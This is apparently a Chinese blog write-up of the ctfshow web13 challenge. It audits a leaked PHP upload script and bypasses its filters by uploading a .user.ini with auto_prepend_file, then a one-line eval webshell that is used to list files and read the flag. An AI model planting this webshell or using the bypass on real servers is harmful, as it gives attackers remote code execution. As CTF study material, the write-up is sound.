ctfshow--web13 .user.ini上传和bak源码泄露

upload.php.bak源码泄露了
审计一下

点击查看代码
<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

可以上传user.ini文件 文件内容为auto_prepend_file=1.txt
这样所有文件就会自动包含1.txt的内容了

image

之后我们上传1.txt,往里面写入一句话木马

image

点击查看代码
<?php eval($_POST['a']);

我们尝试a=print_r(glob("."));看看命令能否被执行
可以看到执行成功并将所有文件暴露了出来
image
接下来
show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
查看该文件的代码
拿到flag

image

posted @ 2024-04-04 17:28  WSssSW  阅读(29)  评论(0编辑  收藏  举报